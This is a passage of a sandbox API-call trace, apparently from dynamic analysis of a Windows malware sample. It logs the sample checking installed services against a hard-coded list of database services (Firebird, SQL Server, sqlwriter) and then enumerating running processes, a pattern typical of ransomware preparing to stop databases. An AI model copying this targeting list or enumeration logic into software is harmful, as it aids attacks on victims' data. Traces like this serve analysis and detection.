	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0082.282] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0082.282] lstrlenW (lpString="Dhcp") returned 4
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0082.282] lstrlenW (lpString="Dnscache") returned 8
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0082.282] lstrlenW (lpString="DoSvc") returned 5
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0082.282] lstrlenW (lpString="DPS") returned 3
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0082.283] lstrlenW (lpString="DusmSvc") returned 7
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0082.283] lstrlenW (lpString="EventLog") returned 8
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0082.283] lstrlenW (lpString="EventSystem") returned 11
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0082.283] lstrlenW (lpString="FontCache") returned 9
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0082.283] lstrlenW (lpString="gpsvc") returned 5
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0082.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0082.283] lstrlenW (lpString="iphlpsvc") returned 8
	[0082.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0082.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0082.283] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0082.283] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0082.284] lstrlenW (lpString="KeyIso") returned 6
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0082.284] lstrlenW (lpString="LanmanServer") returned 12
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0082.284] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0082.284] lstrlenW (lpString="lfsvc") returned 5
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0082.284] lstrlenW (lpString="lmhosts") returned 7
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0082.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0082.284] lstrlenW (lpString="LSM") returned 3
	[0082.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0082.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0082.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0082.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0082.285] lstrlenW (lpString="MapsBroker") returned 10
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0082.285] lstrlenW (lpString="MpsSvc") returned 6
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0082.285] lstrlenW (lpString="NcbService") returned 10
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0082.285] lstrlenW (lpString="netprofm") returned 8
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0082.285] lstrlenW (lpString="NlaSvc") returned 6
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0082.285] lstrlenW (lpString="nsi") returned 3
	[0082.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0082.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0082.285] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0082.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0082.286] lstrlenW (lpString="PcaSvc") returned 6
	[0082.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0082.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0082.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0082.544] lstrlenW (lpString="PlugPlay") returned 8
	[0082.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0082.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0082.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0082.544] lstrlenW (lpString="Power") returned 5
	[0082.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0082.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0082.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0082.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0082.544] lstrlenW (lpString="ProfSvc") returned 7
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0082.545] lstrlenW (lpString="RpcEptMapper") returned 12
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0082.545] lstrlenW (lpString="RpcSs") returned 5
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0082.545] lstrlenW (lpString="SamSs") returned 5
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0082.545] lstrlenW (lpString="Schedule") returned 8
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0082.545] lstrlenW (lpString="SecurityHealthService") returned 21
	[0082.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0082.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0082.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0082.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0082.545] lstrlenW (lpString="SENS") returned 4
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0082.546] lstrlenW (lpString="ShellHWDetection") returned 16
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0082.546] lstrlenW (lpString="Spooler") returned 7
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0082.546] lstrlenW (lpString="SSDPSRV") returned 7
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0082.546] lstrlenW (lpString="StateRepository") returned 15
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0082.546] lstrlenW (lpString="SysMain") returned 7
	[0082.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0082.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0082.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0082.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0082.547] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x784bf8 | out: hHeap=0x720000) returned 1
	[0082.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388
	[0082.553] Process32FirstW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0082.553] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0082.554] lstrlenW (lpString="System") returned 6
	[0082.554] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0082.554] lstrlenW (lpString="smss.exe") returned 8
	[0082.555] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.555] lstrlenW (lpString="csrss.exe") returned 9
	[0082.555] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0082.556] lstrlenW (lpString="wininit.exe") returned 11
	[0082.556] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.556] lstrlenW (lpString="csrss.exe") returned 9
	[0082.556] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0082.557] lstrlenW (lpString="winlogon.exe") returned 12
	[0082.557] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0082.557] lstrlenW (lpString="services.exe") returned 12
	[0082.557] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0082.558] lstrlenW (lpString="lsass.exe") returned 9
	[0082.558] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.558] lstrlenW (lpString="svchost.exe") returned 11
	[0082.558] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0082.559] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0082.559] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0082.559] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0082.560] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.560] lstrlenW (lpString="svchost.exe") returned 11
	[0082.560] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0082.561] lstrlenW (lpString="dwm.exe") returned 7
	[0082.561] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.561] lstrlenW (lpString="svchost.exe") returned 11
	[0082.561] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.562] lstrlenW (lpString="svchost.exe") returned 11
	[0082.562] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.562] lstrlenW (lpString="svchost.exe") returned 11
	[0082.562] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.563] lstrlenW (lpString="svchost.exe") returned 11
	[0082.563] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.563] lstrlenW (lpString="svchost.exe") returned 11
	[0082.563] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.564] lstrlenW (lpString="svchost.exe") returned 11
	[0082.564] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.564] lstrlenW (lpString="svchost.exe") returned 11
	[0082.564] Process32NextW (in: hSnapshot=0x388, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
